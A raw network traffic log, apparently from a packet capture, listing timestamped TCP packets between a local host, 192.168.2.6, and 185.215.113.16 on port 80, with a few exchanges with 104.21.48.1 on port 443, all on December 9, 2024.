Dec 9, 2024 21:09:52.734088898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.734354019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.734416962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.734792948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.734893084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.735562086 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.735603094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.735847950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.735937119 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.736527920 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.736603975 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.736763954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.736805916 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.737710953 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.737813950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.737842083 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.737858057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.738758087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.738862991 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.738985062 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.739111900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.739753008 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.739854097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.739857912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.739921093 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.740854025 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.740921974 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.741082907 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.741180897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.741939068 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.741997004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.742589951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.742645025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.743011951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.743057966 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.743822098 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.743865013 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.744107008 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.744118929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.744164944 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.745176077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.745534897 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.745583057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.746268034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.746310949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.746728897 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.746786118 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.747376919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.747422934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.747589111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.747639894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.748481989 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.748519897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.748547077 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.748583078 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.749495029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.749938965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.749984026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.750627995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.750639915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.750674009 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.751627922 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.753103971 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.967818022 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:52.967909098 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:52.969172001 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:52.971106052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.971173048 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.971272945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.971525908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.971576929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.971761942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.971801043 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.971992970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.972031116 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.972987890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.973028898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.973380089 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.973985910 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.974028111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.974447012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.975045919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.975059032 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.975091934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.975110054 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.976346016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.976402044 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.976560116 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.976618052 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.977350950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.977530956 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.977535009 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.977562904 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.978275061 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.978319883 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.978387117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.978425980 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.979336023 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.979389906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.979759932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.979803085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.980438948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.980477095 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.980552912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.980606079 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.981484890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.981529951 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.981774092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.982749939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.982796907 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.983191013 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.983232021 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.983745098 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.983843088 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.983889103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.984743118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.984786987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.984980106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.985028028 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.985965014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.986015081 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.986180067 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.986227989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.986927032 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.986979008 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.987225056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.987270117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.988033056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.988075018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.988224030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.988261938 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.989058971 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.989105940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.989181042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.989274025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.990149021 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.990196943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.990432978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.990483999 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.991240978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.991283894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.991487980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.991528034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.992448092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.992763996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.992805958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.993408918 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.993465900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.994103909 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.994554996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.994564056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.994594097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.994621038 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.995583057 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.996143103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.996205091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.996731997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.997189045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.997294903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.997798920 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.997833967 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.997992992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.998986006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.999036074 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.999304056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.999346972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.999917030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.000089884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.000139952 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.000994921 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.001420021 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.001467943 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.002043009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.002974033 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.003032923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.003073931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.003232002 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.003386021 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.003442049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.003479958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.004277945 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.004318953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.004453897 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.004491091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.005295038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.005448103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.005486965 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.006376982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.007095098 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.007150888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.007499933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.007560968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.007822037 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.008585930 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.008635044 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.008717060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.008956909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.009659052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.009747982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.009798050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.010716915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.011018991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.011076927 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.011796951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.012038946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.012098074 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.012900114 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.012950897 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.013510942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.013998985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.014049053 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.014736891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.015110016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.015121937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.015167952 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.016251087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.016295910 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.016531944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.017503023 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.017534018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.017584085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.017668009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.018404007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.018445969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.018565893 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.019520998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.019577026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.019746065 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.019792080 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.020459890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.020906925 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.020957947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.021666050 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.021856070 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.021904945 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.022625923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.022670984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.022891998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.023706913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.023761988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.023917913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.024872065 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.024924040 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.025048018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.025861025 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.025909901 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.025991917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.026982069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.027036905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.027450085 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.027489901 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.163454056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.163670063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.163738012 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.163899899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.164175987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.164218903 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.164447069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.164489985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.165280104 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.165350914 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.165512085 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.165550947 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.166301012 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.166384935 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.166548014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.166590929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.167587042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.167628050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.167800903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.167840958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.168525934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.168567896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.168872118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.168920994 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.169589996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.169656992 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.169732094 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.169791937 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.170612097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.170651913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.170790911 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.170825005 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.171763897 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.171808958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.172102928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.172144890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.172774076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.172817945 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.172877073 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.172985077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.173901081 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.173938036 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.174216986 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.174263954 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.174928904 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.174982071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.175148010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.175208092 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.175441980 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:53.175539970 CET	443	49973	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:53.175591946 CET	49973	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:53.176043034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.176091909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.176120996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.176153898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.177171946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.177249908 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.177691936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.177787066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.178174973 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.178215027 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.178740025 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:53.178759098 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:53.178977013 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.179028988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.179294109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.179461002 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.179466963 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.179502010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.180402994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.180522919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.180583954 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.181413889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.181814909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.181855917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.181909084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.182502985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.182543039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.182666063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.182703972 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.183660030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.183705091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.183809042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.183849096 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.184731960 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.184778929 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.184832096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:53.184870005 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:53.185870886 CET	80	49969	185.215.113.16	192.168.2.6
